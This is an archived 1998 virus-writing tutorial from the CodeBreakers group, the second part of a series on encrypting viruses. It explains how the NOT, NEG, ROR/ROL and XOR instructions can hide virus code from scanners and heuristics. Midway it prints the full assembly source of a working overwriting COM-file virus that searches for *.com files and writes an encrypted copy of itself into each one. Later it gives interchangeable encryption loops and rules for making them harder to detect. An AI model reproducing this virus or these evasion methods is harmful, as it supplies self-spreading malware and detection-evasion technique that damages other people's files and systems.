home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CODBRK3.ZIP / cb0205.txt < prev    next >
Text File  |  1998-03-23  |  18KB  |  463 lines

  1. -- An effort to help the naked virus. Encryption: Part 2
  2. -- By: Sea4
  3.  
  4.      Well, I hope I have answered all your questions about XOR and why virii
  5. need to hide behind encryption in Part 1. Now for the fun part of encryption.
  6. Using everything besides XOR to change the bytes in your virii. XOR is good,
  7. and certainly has uses, but nowadays its been done to death, IMHO. It should
  8. be used with the other bit manipulators to form more complex, and hopefully
  9. undetectable algorithms for encrypting. A quick list might help get us started
  10. with the other useful instructions. Not, Neg, Ror, and rol are the ones I
  11. think are neccassary to viral survival, they must be used in certain ways
  12. though to allow proper decryption.
  13.  
  14. NOT:
  15. ----
  16.      Its actually even more easy to understand than XOR but not used
  17. as much as I would like. Anyway... all it does is reverse the bits in an
  18. operand. So something like this:
  19.  
  20. NOT  BL
  21.  
  22.      Would change all the 1 bits from BL into 0 bits and vice versa. A
  23. small graph could help you understand it a bit more.
  24.  
  25. BL = B4h = 180d = 10110100b
  26.  
  27. NOT  101101000b     <-- Only requires one operand.
  28.      ----------
  29.      010010111b     <-- Result is placed in the same operand.
  30.  
  31.      As you can see its quite simple to understand, anything that was 1 is
  32. now 0 and likewise, anything that was 0 is now 1. This is one of the easiest
  33. to put into encryption too, because it takes 1 operand ( the value you want
  34. to reverse ). Furthermore, you may realize that if you preform the NOT again
  35. you come out with your original value :).
  36.  
  37.      We'll use the INT 21h instruction, to see what happens to it, because it
  38. is one of the more commonly used commands in virii. Lets assume AX has been
  39. set with the INT 21h command, and now its ready to be encrypted.
  40.  
  41. NOT  AX
  42.  
  43. AX = CD21h = 52513d = 11001101-00100001b
  44.  
  45. NOT  11001101-00100001b  ; Original value of AX
  46.      -------- --------
  47.      00110010-11011110b  ; End result = AX = 3D2Eh = 15662d
  48.      ^--AH--^ ^--AL--^
  49.  
  50.      Now we go from CD21h to 3D2Eh in one simple command ( 2 bytes long ),
  51. and we change our 'INT 21h' into a harmless 'CMP AX,??2Eh' where ?? is the
  52. next byte in the progge. Thats all I have to say about NOT for now until we
  53. get to using all the instructions together. Thats where the real excitement
  54. begins.
  55.  
  56. * Here is an example virus written explicitly for this tutorial.
  57. * Its shows how NOT AL can be implemented into a full fledged virus.
  58.  
  59. -- Begin Virus --
  60. Start:
  61. jmp  Buffer         ; Skip encrypt on first run!
  62. ;mov  cx,End_virus-Hidden
  63. lea  si,Hidden
  64. mov  di,si
  65. call Encrypt
  66. jmp  Hidden
  67.  
  68. Encrypt:            ; Encryption loop, this is the only thing
  69. lodsb               ; that needs changing between different encryption 
  70. not  al             ; commands.
  71. stosb
  72. loop Encrypt
  73. ret
  74.  
  75. Hidden:
  76. mov  ah,4Eh    ; Find COM files for infection
  77. Find_next:
  78. xor  cx,cx
  79. lea  dx,Filemask
  80. int  21h
  81. jnc  Open
  82.  
  83. Exit:
  84. int  20h       ; Close down virus
  85.  
  86. filemask  db   '*.com',0
  87. virus     db   '[Crypt]',0
  88. author    db   'Sea4, CodeBreakers',0
  89.  
  90. Open:
  91. mov  ax,3D02h  ; Open File for read/write
  92. mov  dx,9Eh
  93. int  21h
  94.  
  95. xchg bx,ax     ; Move file handle
  96.  
  97. lea  dx,Start            ; Write the encryption routine
  98. mov  cx,Hidden-Start
  99. mov  ah,40h
  100. int  21h
  101.  
  102. lea  di,Buffer           ; Encrypt virus to buffer
  103. lea  si,Hidden
  104. mov  cx,End_virus-Hidden
  105. push cx
  106. call Encrypt
  107.  
  108. lea  dx,buffer           ; Write that buffer to victim
  109. pop  cx
  110. mov  ah,40h
  111. int  21h
  112.  
  113. mov  ah,3eh              ; Close victim file
  114. int  21h
  115.  
  116. mov  ah,4Fh              ; Find next COM file
  117. jmp  Find_next
  118.  
  119.  
  120. End_Virus:
  121. Buffer:
  122. lea  di,Start       ; Overwrites 'jmp Buffer' with 'mov cx,End_virus-Hidden'
  123. lea  si,New_Bytes
  124. movsw
  125. movsb
  126. jmp  Hidden
  127.  
  128. New_Bytes:
  129. mov  cx,End_Virus-Hidden
  130. -- End of Virus --
  131.  
  132.  
  133. ROR/ROL:
  134. --------
  135.      We'll skip NEG for now and explain ROR, and ROL. Basically all they do
  136. is Rotate Right and Rotate Left. But you may ask, "Ummm, ok... I know WHERE
  137. they rotate, but WHAT do they rotate?". Its simple, they rotate bits... isn't
  138. that what we've been discussing? They take a value like 23h, and rotate the
  139. bits in it a specified # of places. The first operand is the one that will
  140. get rotated and the second is how many places it will be rotated. Again, lets
  141. use a short example.
  142.  
  143. MOV  AL,23h    ; Loads AL with 23h
  144. ROR  AL,1      ; Rotates the bits in 23h, 1 place to the right.
  145.  
  146. Now for graphs...
  147.  
  148. AL = 23h = 35d = 00100011b    ; We are gonna drop the 'b' in this example
  149.                               ; so it doesn't get in the way.
  150.      00100011  ; 23h = 35d    
  151. ROR                 ; Moves the Bytes '-->' 1 place
  152.      --------
  153.      10010001  ; 91h = 145d
  154.  
  155.      ^-- This bit came from the end of the other side, and since we are
  156.      ROTATING the bits, it wraps around to the other side. Its almost as
  157.      though the bits were on a wheel, if you imagine it in your head like
  158.      that its very simple to understand.
  159.  
  160.      Now, any Tom, Dick or Harry knows that the value of AL just changed,
  161. so in essence we encrypted the byte, and we could use the 'ROL AL,1' command
  162. to get back our original byte, but that would require another command. And
  163. more commands equal more bytes, and more bytes means our virus will be more
  164. noticable. Noticable is BAD! We do not like noticable ( *Hint*: thats why
  165. we are learning encryption in the first place! ). So how can we utilize the
  166. ROR/ROL commands without wasting bytes...? Simple, we make it so that the
  167. second operand is equal to 4!! "Why 4 places?" Well... look at the graphs. 
  168.  
  169. ROR AL,4  ; Rotates the bits four places
  170.  
  171. AL = 23h = 35d = 00100011b ; AL's value
  172.  
  173. ROL 4
  174.      00100011       ; Starting number   ; 23h
  175.      <--            ; Rol 1 place
  176.      01000110       ; After 1 place     ; 46h
  177.      <--            ; Rol 1 more place
  178.      10001100       ; After 2 places    ; 8Ch
  179.      <--            ; Rol 1 more place
  180.      00011001       ; After 3 places    ; 19h     
  181.      <--            ; Last time ( here is the interesting part )
  182.      00110010       ; After 4th place   ; 32h
  183.                                           ^^--What happened here?
  184.  
  185.      I am not sure if you noticed but the HEX number rotated 1 place. 23h
  186. has now become 32h, pretty fucking cool for our purposes. You may again be
  187. jumping ahead of me in saying that "If we do another 'ROL AL,4' we will get
  188. back the original value of AL!!". Well, you would be perfectly right in that
  189. assumption. If a byte is 8 bits, and we rotate 4 bits... thats halfway! And
  190. so if we rotate another 4 bits, we have rotated the whole byte getting back
  191. to the original bit positions AND our original value.
  192.  
  193.      Rotating the first 4 bits is the encryption, and rotating the second 4
  194. bits could be called the decryption. WOW! Like 'XOR AL,DL' ( in the first
  195. part of my encryption article ), and like the NOT command that we just did...
  196. the ROR/ROL instructions work twice the job with half the size. That is what
  197. we want!
  198.  
  199. Ok, heres the part of the previous example that changes...
  200. its not very much as you may notice.
  201.  
  202. Encrypt:
  203. lodsb
  204. ror  al,4
  205. stosb
  206. loop Encrypt
  207. ret
  208. ====================================
  209. or with ROL...
  210.  
  211. Encrypt:
  212. lodsb
  213. rol  al,4
  214. stosb
  215. loop Encrypt
  216. ret
  217.  
  218.  
  219. NEG:
  220. ----
  221.      To finish up the track we are on now, ( that is using one command for
  222. both encryption and decryption ), we are gonna cover the often forgotten NEG
  223. command. Like its sibling, the NOT command, it only uses 1 operand... the one
  224. we want to alter. Unlike NOT, and the other bit manipulators, it is based
  225. on value rather than the bits themselves. All it does is take the operand
  226. and subtract it from 00h ( or 0000h if it is a word [2 bytes] ). We have to
  227. use the graphs here because its hard to explain with words.
  228.  
  229. MOV  AL,23h         ; Gives 23h to AL
  230. NEG  AL             ; Subtracts AL from 00h (or 100h to better visualize it)
  231.                     ; and places the resulting value in AL.
  232.  
  233. AL = 23h = 35d = (binary doesn't matter here)
  234.  
  235.                     ; It doesn't matter which because a byte is only 2 places
  236.      00h or 100h    ; any value outside those 2 places is ignored.
  237.    - 23h   - 23h    ; Subtracts 23h ( Trust me! NEG works out at the end ).
  238.      ---    ----
  239.      DDh    0DDh    ; See? They both end up equal to DDh
  240.  
  241. Heres the decimal equivalant for those aren't very good with hex.
  242.  
  243.     256d       ; 256d = 100h ( or 00h when working with just 1 byte )
  244.    - 35d       ; 35d  = 23h
  245.      ---
  246.     221d       ; 221d = DDh      
  247.  
  248.      "Well Sea, thats fucking great! Why the hell do I care?" Well, if you
  249. were paying close attention to the other commands ( NOT/ROR/ROL/XOR ) you
  250. would realize they all can be done twice to arrive at the original number.
  251. Now if thats true here, we have found another command that can preform
  252. encryption on first run, and decryption the second time. Lets see if good ol'
  253. NEG can do that:
  254.  
  255.      Decimal        Hex
  256.      -------        ---
  257.      256d           100h  or   00h  ; What NEG always subtracts from!
  258.     -221d          - DDh  or  -DDh  ; The value we ended up with last time  
  259.      ----           ----       ---
  260.       35d            23h       23h  ; The Number we started with
  261.  
  262.      IT WORKED!!! Neg is a useful encryption instruction. Well... well...     don't
  263. you owe me an apology, don't you?
  264.  
  265. And lastly here is an example section using NEG...
  266.  
  267. Encrypt:
  268. lodsb
  269. neg  al
  270. stosb
  271. loop Encrypt
  272. ret
  273.  
  274.  
  275.      Hopefully you understand that each of those instructions does well by
  276. itself. Unfortunetly, there are times when they don't work. The command does
  277. what it should, but the resulting byte is the same as the one you started
  278. with. For example: ROR/ROL switch the hex characters from something like
  279. 23h to 32h by rotating four places... but with CCh, DDh, AAh, etc. the result
  280. is the not really encrypted. Another example is NEGing by 0 or 80h, if you do
  281. the proper math they both end up with their starting values. They may be
  282. rare, but they still happen. So what is there to do about such 'errors'? 
  283.  
  284.      I hope you figured it out! I may have mentioned it before, but if you
  285. combine 2 or more of these instructions they can have a great effect on the
  286. complexity of the encryption. How do you do it right though? Just slapping
  287. commands together is risky. You can do what I do and make a dual function
  288. De/Encryption loop. In the first part of my encryption tutorial I gave an
  289. example virus with the following loop:
  290.  
  291. -- Start
  292. Encrypt:            ; This has been slightly modified to provide a better
  293.                     ; understanding of what is going on.
  294.  
  295. lodsb               ; Stores the byte from [SI] into AL ( I call it the
  296.                     ; victim byte ), then increments SI.
  297.  
  298. "encryption command"     ; This modifies AL with one of the following
  299.                          ; encryption commands.
  300. ; not al
  301. ; neg al
  302. ; ror al,4
  303. ; rol al,4
  304. ; xor al,?? ( ?? can equal a value or a byte sized register )
  305.  
  306. stosb               ; Stores AL into the byte at [DI] and then increments
  307.                     ; DI.
  308.  
  309. loop Encrypt        ; Decrements CX, then if CX is not 0 it jumps to the
  310.                     ; specified location ( in this case 'EncLoop' ).
  311.  
  312. ret                 ; Goes back to caller, the stack cannot be modified
  313.                     ; because of this command.
  314. -- End
  315.  
  316.      It only needs SI (where to get the bytes to encrypt), DI (where to put
  317. the encrypted bytes), and CX for the number of bytes. After it is called it
  318. does the encryption routine on the specified region, and jumps back to the
  319. caller. The outer parts with the 'loop' and such are basic things that will
  320. not need to be changed much with each different virus or encryption routine.
  321. Where it says "encryption command" is the important part.
  322.  
  323.      We do what is called 'plugging in'... since the shell just holds the
  324. part we care about, we can take out, and put in what we want. There are a few
  325. criteria though.
  326.  
  327. 1) Since the 'victim byte' is AL, the encryption commands should modify...
  328.      You guessed it, AL!
  329.  
  330. 2) Another thing is that the encryption should NOT modify CX, DI, SI or
  331.      the Stack ( SP ) unless you know what you are doing.
  332.  
  333. 3) The most important point for us though, is that we should be able to
  334.      run the Encrypt loop on anything twice, and end up with the starting
  335.      byte. This is important because we are gonna use the same loop to
  336.      encrypt AND decrypt. Saves space and makes it look cool.
  337.  
  338.      The commands 'NOT AL', and 'NEG AL' by themselves do that perfectly, but
  339. we already realized the need for more than one. So how do we get them to play
  340. nicely together? Its a simple idea, but hard to explain. I'll give you an
  341. easy example to start with, and explain it afterward.
  342.  
  343. Not  al             ; Oposite bits of AL
  344. Neg  al             ; NEGs AL or ( NEGates AL )
  345. Not  al             ; Oposite bits of AL again
  346.  
  347.      OK, pay close attention here! This meets the first criteria and the 2nd,
  348. but does it meet the 3rd? By itself its hard to see, but remember that this
  349. has to be run twice to check its validity, so lets pretend we ran it twice.
  350. It would look more like this then...
  351.  
  352.      First Run
  353. Not  AL
  354. Neg  AL
  355. Not  AL                  ; Byte is now encrypted
  356.      Second Run
  357. Not  AL
  358. Neg  AL
  359. Not  AL                  ; Byte is now decrypted
  360.  
  361. "Who cares, it just does it twice... it encrypts it even more!" Not so!
  362. They cancel each other out! Here is a very important graph...
  363.  
  364. Not  AL    *-----------|
  365. Neg  AL      *------|  |
  366. Not  AL        *-|  |  |
  367. --               |  |  |
  368. Not  AL        *-|  |  |
  369. Neg  AL      *------|  |
  370. Not  AL    *-----------|
  371.  
  372.      The last command of the first run cancels the first command of the last
  373. run, and vice versa! And the middle commands cancel each other! Isn't it
  374. great. No matter what number goes through the first thing, it comes out
  375. encrypted, but after going through again, it becomes decrypted! Just follow
  376. the lines and review the last few paragraphs till you realize what is going
  377. on. Its kind of like stacking plates on top of each other to encrypt, and
  378. then taking them off in reverse order to decrypt.
  379.  
  380.      Now to make sure you get the full impact of this, here is a larger
  381. example with the same type of graph, but this time if you look at it as
  382. canceling ITSELF, you can create loops as fast as you can type em.
  383.  
  384. xor  al,C4h                        ; Start stacking the plates...
  385. |    neg  al
  386. |    |    ror  al,4
  387. |    |    |    xor  al,E3h
  388. |    |    |    |        *not  al   ; Last plate
  389. |    |    |    xor  al,E3h         ; Start taking em off
  390. |    |    ror  al,4
  391. |    neg  al
  392. xor  al,C4h
  393.  
  394.      Now... how does it cancel itself. Notice that 'not al' is the only
  395. instruction that is not repeated. It is also the center of the routine. If
  396. you removed the 'not al' you would notice that the routine would do nothing
  397. at all to any victem byte, but since we have a command at the center that
  398. changes that, its works! So after running those 9 commands we get an ecrypted
  399. byte. After running them again the byte becomes decrypted. If you are gonna
  400. build a loop like this, try not to make it too long. Here are some basic
  401. rules...
  402.  
  403. 1) Always have a center instruction
  404. 2) Make sure all the commands are reversible... like if you did them twice
  405. to the same byte, it would encrypt then decrypt.
  406. 3) Commands after the center command, should be in reverse order. Like above.
  407. 4) You shouldn't modify the stack, CX, SI, or DI unless you are sure.
  408. 5) Don't do the same command twice in a row, like...
  409.      xor  al,4h
  410.      xor  al,4h
  411.      not  al
  412.      xor  al,4h
  413.      xor  al,4h
  414. They just cancel each other out, and you really only end up encrypting with
  415. a 'not al'.
  416. 6) Another combination you shouldn't use is
  417.      not  al
  418.      xor  al,0FFh
  419. XORing by FFh or FFFFh is the same as NOT. So this would be a waste.
  420.  
  421.      Well thats all there is to know about how those instructions work, but
  422. now for how to put them into a virus. Above I showed you an example of a
  423. dual function, encryption/decryption loop... here is again for those of you
  424. not paying attention.
  425. :: Comments were removed ::
  426. -- Start
  427. Encrypt:
  428. lodsb
  429.  
  430. "encryption command"
  431. ; not al
  432. ; neg al
  433. ; ror al,4
  434. ; rol al,4
  435. ; xor al,?? ( ?? can equal a value or a bytes sized register )
  436.  
  437. stosb
  438. loop EncLoop
  439. ret
  440. -- End
  441.  
  442.      Where it says "encryption command" is where you can put any combination
  443. of commands that fit the above rules. Just use the example virus from the
  444. section about NOT and plug in your encryption routine. Test it out and make
  445. sure it works.
  446.  
  447.      Yup, that seems all you need to know to make more complex stuff than
  448. simple XOR. There are several advantages, like many more different possible
  449. encrypted versions, less likey that it will be recognized as a decryption
  450. routine by heuristics, and its more creative. Of course, we are not even
  451. half-way through what I know about encryption. Here are a few of the things
  452. I still want to teach:
  453.  
  454. 1) More encrypting commands... SUB, ADD, and XCHG!
  455. 2) Encrypting word sized values with XOR, 65,535 different keys!!
  456. 3) A little idea from a fellow CodeBreaker ( Aperson ), using the victem
  457. file's own bytes to encrypt against!
  458. 4) Using ROR/ROL with values other than 4!
  459. 5) Double and Triple level encryption!
  460. 6) That appending example I promised.
  461. 7) How to change the values used to XOR with, randomness, system clock,
  462. and the incremental way.
  463.